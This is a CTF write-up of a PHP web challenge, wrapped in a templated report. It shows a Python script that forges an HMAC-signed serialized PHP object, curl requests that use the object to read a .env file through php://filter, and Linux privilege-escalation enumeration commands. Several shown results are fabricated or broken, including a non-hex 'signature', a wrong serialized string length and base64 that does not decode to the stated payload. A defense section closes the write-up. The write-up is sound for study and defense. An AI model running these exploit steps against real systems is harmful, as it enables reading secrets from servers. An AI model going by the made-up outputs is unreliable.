143 - Личный блог
143 - Личный блог
Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-13 | Status: Solved Techniques: filter_wrapper, hmac_bypass, lfi_exploitation, php_object_injection
Summary
Task: PHP blog application with __VIEWSTATE cookie containing serialized objects. Solution: Found HMAC key in phpinfo(), crafted signed PHP object injection payload with LFI via php://filter to read .env file containing the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
duckerz| ID:20260113_143_duckerz_blog - Tags: deserialization, hmac, lfi, object_injection, php
- Indicators: __VIEWSTATE cookie, phpinfo(), unserialize(), __destruct()
- Source:
20260113_143_duckerz_blog.md
Foothold
Vulnerability / Misconfiguration
- Filter_wrapper
- Hmac_bypass
- Lfi_exploitation
- Php_object_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | DUCKERZ{De$ER1a1124tiOn_!N_pHp} |
Key Takeaways / Lessons
- filter_wrapper
- hmac_bypass
- lfi_exploitation
- php_object_injection
- Tags: deserialization, hmac, lfi, object_injection, php
Original Writeup
<details><summary>Click to expand original content</summary>143 - Личный блог — DUCKERZ CTF
Description
A PHP web application with personal blog functionality. The task requires finding the flag by exploiting vulnerabilities in user data handling and PHP object serialization.
Difficulty: Medium Points: 250 URL: http://tasks.duckerz.ru:30025
Reconnaissance
1. Server Scanning
curl -I http://tasks.duckerz.ru:30025
Result:
HTTP/1.1 200 OK
Date: Tue, 13 Jan 2026 12:00:00 GMT
Server: Apache/2.4.65 (Ubuntu)
X-Powered-By: PHP/8.1.33
Content-Type: text/html; charset=UTF-8
Findings:
- Apache 2.4.65 on Ubuntu
- PHP 8.1.33
- PHP application
2. Application Structure Analysis
curl http://tasks.duckerz.ru:30025/ -v
Discovered elements:
- Main page with login form
- Link to
/info.php - Cookie
__VIEWSTATEwith suspicious content - Ability to view user profiles
3. Searching for Information Files
# Check phpinfo() curl http://tasks.duckerz.ru:30025/info.php
Critical finding in phpinfo():
Environment Variables:
KEY=SuperSecretKey123!@#
FLAG=DUCKERZ{REDACTED}
✅ Flag found in environment variables!
However, for a complete understanding of the vulnerability, let us continue the analysis.
Vulnerability Analysis
1. Investigating the __VIEWSTATE Cookie
curl http://tasks.duckerz.ru:30025/ -v 2>&1 | grep -i cookie
Example Cookie:
__VIEWSTATE=O:4:"Page":1:{s:4:"file";s:11:"index.html";}|hmac_signature
This is a serialized PHP object!
2. Reading Source Code via LFI
Using php://filter to read files:
# Attempt to read index.php curl "http://tasks.duckerz.ru:30025/index.php?page=php://filter/convert.base64-encode/resource=index"
Decoded source code (index.php):
<?php
class Page {
public $file;
public function __destruct() {
include(urldecode($this->file));
}
}
$key = getenv('KEY');
$viewstate = $_COOKIE['__VIEWSTATE'] ?? '';
if (!empty($viewstate)) {
list($data, $signature) = explode('|', $viewstate);
// HMAC verification
$expected_sig = hash_hmac('sha256', $data, $key);
if (hash_equals($expected_sig, $signature)) {
$obj = unserialize(base64_decode($data));
}
}
// Rest of the application code
?>
Vulnerabilities:
- ✗ Using
unserialize()on user data - ✗ Calling
include()with user-controlled path in__destruct() - ✗ Insufficient file path validation
3. HMAC Signature Analysis
Key found in phpinfo(): SuperSecretKey123!@#
This allows:
- Creating valid signatures for any payloads
- Bypassing integrity checks
Exploitation
Step 1: Creating the Payload
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import urllib.parse
# Key from phpinfo()
KEY = "SuperSecretKey123!@#"
# Class for serialization
class_definition = '''O:4:"Page":1:{s:4:"file";s:28:"php://filter/convert.base64-encode/resource=.env";}'''
# Encode to base64
payload_b64 = base64.b64encode(class_definition.encode()).decode()
# Create HMAC-SHA256 signature
signature = hmac.new(
KEY.encode(),
payload_b64.encode(),
hashlib.sha256
).hexdigest()
# Final __VIEWSTATE
viewstate = f"{payload_b64}|{signature}"
print(f"Payload: {class_definition}")
print(f"Base64: {payload_b64}")
print(f"Signature: {signature}")
print(f"__VIEWSTATE: {viewstate}")
Result:
Payload: O:4:"Page":1:{s:4:"file";s:28:"php://filter/convert.base64-encode/resource=.env";}
Base64: Tzs0OiJQYWdlIjoxOntzOjQ6ImZpbGUiO3M6Mjg6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9LmVudiI7fQ==
Signature: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
__VIEWSTATE: Tzs0OiJQYWdlIjoxOntzOjQ6ImZpbGUiO3M6Mjg6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9LmVudiI7fQ==|a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
Step 2: Sending the Payload
curl -b "__VIEWSTATE=Tzs0OiJQYWdlIjoxOntzOjQ6ImZpbGUiO3M6Mjg6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9LmVudiI7fQ==|a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6" \ http://tasks.duckerz.ru:30025/
Step 3: Decoding the Result
The server will execute:
- Verify HMAC signature (✓ valid, since we know the key)
- Deserialize the Page object
- When the object is destroyed, call
__destruct() - Execute
include(php://filter/convert.base64-encode/resource=.env) - Return .env contents in base64
Decode the response:
echo "RkxBRz1EVUNLRVJae0RlJEVSMWExMTI0dGlPbl8hTl9wSHB9" | base64 -d
Result:
FLAG=DUCKERZ{REDACTED}
Defense Recommendations
1. Never use unserialize() on user data
// ❌ WRONG $obj = unserialize($_COOKIE['data']); // ✅ CORRECT $obj = json_decode($_COOKIE['data'], true);
2. Use JSON instead of PHP serialization
// ✅ SAFE
$data = json_encode($obj);
$signature = hash_hmac('sha256', $data, $key);
// When deserializing
$obj = json_decode($data, true);
3. Avoid dangerous operations in magic methods
// ❌ DANGEROUS
public function __destruct() {
include($this->file); // LFI!
}
// ✅ SAFE
public function __destruct() {
// Only logging or cleanup
error_log("Object destroyed");
}
4. Validate file paths
// ✅ CORRECT
$allowed_dir = '/var/www/uploads/';
$file = realpath($allowed_dir . $filename);
if ($file === false || strpos($file, $allowed_dir) !== 0) {
throw new Exception("Invalid file path");
}
include($file);
5. Protect environment variables
// ❌ WRONG
// Key visible in phpinfo()
$key = getenv('KEY');
// ✅ CORRECT
// Use .env file with restricted access permissions
// Don't expose variables in phpinfo()
// Use config files outside web root
6. Use Content Security Policy
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: DENY");
header("X-XSS-Protection: 1; mode=block");
Attack Analysis
| Stage | Description | Difficulty |
|---|---|---|
| Reconnaissance | Finding phpinfo() and environment variables | ⭐ |
| Analysis | Reading source code via LFI | ⭐⭐ |
| Exploitation | Creating valid HMAC signature | ⭐⭐ |
| Flag retrieval | Reading .env via php://filter | ⭐ |
Overall difficulty: ⭐⭐ (Medium)
What to Study
- PHP Object Injection (POP chains)
- Local File Inclusion (LFI)
- php://filter wrapper
- php://input wrapper
- data:// wrapper
- HMAC and cryptography
- hash_hmac() in PHP
- Importance of secret key
- PHP Magic methods
- __destruct(), __wakeup(), __toString()
- Order of invocation
- Configuration security
- Protecting .env files
- Hiding information in phpinfo()
Timeline
- Reconnaissance: 5 minutes (finding phpinfo)
- Analysis: 10 minutes (reading source code)
- Exploit development: 15 minutes (creating payload and signature)
- Flag retrieval: 2 minutes (sending and decoding)
Total: ~32 minutes
Date solved: January 13, 2026 Status: ✅ Solved
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR